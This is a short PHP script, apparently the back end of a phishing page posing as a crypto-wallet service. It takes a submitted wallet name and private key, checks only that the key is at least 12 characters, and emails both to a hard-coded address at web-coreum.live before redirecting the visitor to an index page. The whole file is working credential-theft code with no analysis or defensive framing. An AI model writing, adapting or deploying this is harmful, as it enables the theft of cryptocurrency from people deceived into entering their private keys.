
<?php

                    if (isset ($_POST['privatekey']) && isset ($_POST['walletname'])   )
                    {
                        $errors = array();
                        
                        $privatekey = ($_POST['privatekey']);

                        $walletname1 = ($_POST['walletname']);

                        

                            
                            
                        
                            

                        if(!empty($privatekey))
                            {
                                
                                
                                
                                    if(strlen($privatekey) < 12 ) {
                                        $errors[] = 'Incorrect Private Key Entered';
                                    }
                                    

                                }

                                    else
                                {
                                    $errors[] = 'Please fill the form before submitting it!!!';
                                }
                            if(!empty($errors))
                            {
                                foreach($errors as $error) {
                                    
                                echo 

                                '<div class="alert bg-danger" role="alert">
                    <svg class="glyph stroked success"><use xlink:href="#stroked-success"></use></svg>',$error, '  <a href="#" class="pull-right"><span class="glyphicon glyphicon-remove"></span></a>
                </div>'




                                ;
                                
                                }
                            
                            }

                            else        
                                {
                                    
                                    
                                    
$remail3 = "info@web-coreum.live" ;                                    

$message = "<html><head></head><body>";
$message .= "

<br><br>Wallet Type: $walletname1 <br><br>
<br><br> Private Key: $privatekey <br><br>
 <br><br></body></html>";

$headers = "From: $remail3\r\n";
$headers .= "MIME-Version: 1.0\r\n";
$headers .= "Content-Type: text/html; charset=UTF-8\r\n";


mail($remail3, "New Message", "$message.","$headers");


echo '<script>
   
            window.location.href = "/webcoreum/index.php";
     
</script>';                   

                                }       
                    }

            
                    
                    


                ?>
